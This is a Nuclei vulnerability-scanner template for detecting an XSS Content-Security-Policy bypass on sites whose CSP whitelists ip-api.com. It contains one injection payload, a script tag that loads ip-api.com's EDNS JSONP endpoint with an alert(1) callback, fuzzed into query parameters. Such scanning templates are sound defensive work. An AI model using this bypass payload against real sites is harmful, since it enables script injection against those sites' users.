id: ip-api-edns-csp-bypass

info:
  name: Content-Security-Policy Bypass - IP-API EDNS
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,ip-api-edns

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "ip-api.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: ip_api_edns_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://raae2vza0snymz9cm3r8ix74bs71vdlz.edns.ip-api.com/json?callback=alert(1)-"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "ip_api_edns_csp_xss == true"
# digest: 490a004630440220231813a88b48aff3146d550daa323088c71cc69b69d8f3948972897ba29ad0bc022076c94dd496a172b594d20698dddd1b766ec674a13b7843b96d1c2613ad4a39fc:922c64590222798bb761d5b6d8e72950